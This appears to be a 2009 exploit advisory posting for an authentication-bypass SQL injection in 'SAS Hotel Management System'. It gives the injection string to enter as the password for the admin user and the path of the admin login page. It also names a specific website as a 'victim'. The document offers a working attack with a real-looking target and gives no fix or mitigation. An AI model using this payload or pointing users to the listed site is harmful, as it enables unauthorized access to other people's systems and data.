sashmsbypass-sql.txt
Posted on 18 February 2009
######################################################### --------------------------------------------------------- Portal Name: SAS Hotel Management System Author : Pouya_Server , Pouya.s3rver@Gmail.com <mailto:Pouya.s3rver@Gmail.com Vulnerability : (Auth Bypass) SQL Injection Vulnerability --------------------------------------------------------- ######################################################### [Auth Bypass]: user: admin pass: ' or ' admin page : http://site/siteadmin/admin.asp -------------------------------------------------------- Victem : http://www.aebest.com/siteadmin/admin.asp --------------------------------------------------------- #########################################################
